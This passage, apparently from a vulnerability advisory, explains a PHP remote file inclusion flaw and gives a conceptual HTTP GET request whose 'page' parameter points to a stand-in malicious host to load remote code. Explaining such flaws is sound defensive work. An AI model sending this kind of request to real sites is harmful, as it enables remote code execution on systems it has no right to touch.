This enables an attacker to manipulate the input and inject pathnames that can lead to the inclusion of remote files hosted on a different server. This could allow the attacker to execute arbitrary code on the affected system.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3405926113\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>In the context of a web-based PHP application, the exploit may be initiated using a simple HTTP GET request that includes a manipulated query parameter, which would be used to include a malicious file from an external source.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/malicious-website.com\/malicious-code.txt HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n<p>In this example, the &#8216;page&#8217; parameter is manipulated to include a malicious PHP script hosted on an external server.
